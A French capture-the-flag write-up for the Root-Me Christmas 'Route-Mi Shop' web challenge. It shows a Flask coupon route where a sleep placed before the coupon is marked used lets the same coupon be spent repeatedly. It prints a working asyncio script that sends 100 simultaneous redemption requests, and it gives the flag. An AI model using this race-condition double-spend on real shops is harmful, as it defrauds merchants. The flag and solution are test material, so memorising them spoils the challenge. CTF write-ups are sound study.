✅ Day 10 - Route-Mi Shop
- WEB
- Date de résolution : 10/12/2024
Reconnaissance
Un site web de shopping délivrant un coupon d'achat de 5€ en offre de bienvenue pour tout nouveau compte enregistré. Et il faut pouvoir acheter un article flag d'une valeur de 50€...
On a accès au code Flask et tout se passe dans le fichier routes.py
Assez vite, on comprend que la fonction discount() semble vulnérable.
1def discount():
2 user = User.query.get(session['user_id'])
3 coupon_code = request.form.get('coupon_code')
4
5 coupon = Coupon.query.filter_by(user_id=user.id, code=coupon_code).first()
6
7 balance = int(user.balance)
8 if coupon:
9 if not coupon.used:
10 balance += 5.0
11 user.balance = balance
12 db.session.commit()
13
14 anti_bruteforce(2)
15
16 coupon.used = True
17 user.can_use_coupon = False
18 db.session.commit()
19 flash("Your account has been credited with 5€ !")
20 else:
21 flash("This coupon has already been used.")
22 else:
23 flash("This coupon is invalid or does not belong to you.")
24
25 return redirect(url_for('account'))
Une ligne an particulier nous attire : anti_bruteforce(2) ! Il s'agit d'une fonction générant un sleep() de 2 secondes... Etant donné que la ligne d'après est : coupon.used=True, et si on arrivait à griller plusieurs coupons simultanément ?
A ce moment précis, j'ai ouvert 2 navigateurs, me suis connecté et appuyé dans les 2 secondes sur le bouton ! Résultat : 10€ de cagnotte !!
Exploit
Voici mon script permettant de réaliser plusieurs requêtes simultanées :
1import requests
2from requests.packages.urllib3.exceptions import InsecureRequestWarning
3requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
4import asyncio
5import aiohttp
6
7
8URL_BASE = "https://day10.challenges.xmas.root-me.org/"
9EMAIL = "totohack@wonderland.fr"
10PASS = "toto"
11COUPON = "24b65a7e-e029-4254-b974-86fe2a3402ea"
12HEADERS = {
13 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
14 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
15 'Accept-Language': 'en-US,en;q=0.5',
16 'Accept-Encoding': 'gzip, deflate, br',
17 'Content-Type': 'application/x-www-form-urlencoded',
18 'Origin': URL_BASE,
19 'Referer': URL_BASE+'login',
20 'Upgrade-Insecure-Requests': '1'
21}
22
23async def get_discount(session, index):
24 try:
25 print(f"Started Get Discount of index: {index}")
26 url = URL_BASE + "login"
27 print(f"{url = }")
28 async with session.post(url, headers=HEADERS, data={'email':EMAIL, 'password':PASS}) as r_login:
29 #print(f"{r_login.text()}")
30 print(f"Cookies = {session.cookie_jar.filter_cookies(URL_BASE)}")
31 url = URL_BASE + "discount"
32 print(f"{url = }")
33 async with session.post(url, data={'coupon_code':COUPON}, headers=HEADERS) as r_discount:
34 #print(f"{await r_discount.text()}")
35 print(f"completed Get Discount of index: {index}")
36 except Exception as e:
37 print(f"Error: {str(e)}")
38 return None
39
40async def run_concurrent_requests(number):
41 async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:
42 tasks = []
43 for index in range(number):
44 tasks.append(get_discount(session=session, index=index))
45 return await asyncio.gather(*tasks, return_exceptions=True)
46
47if __name__ == "__main__":
48 resp = asyncio.run(run_concurrent_requests(100))
49 print(resp)
The flag is : RM{Route-m1_F0r_Th3_W1n}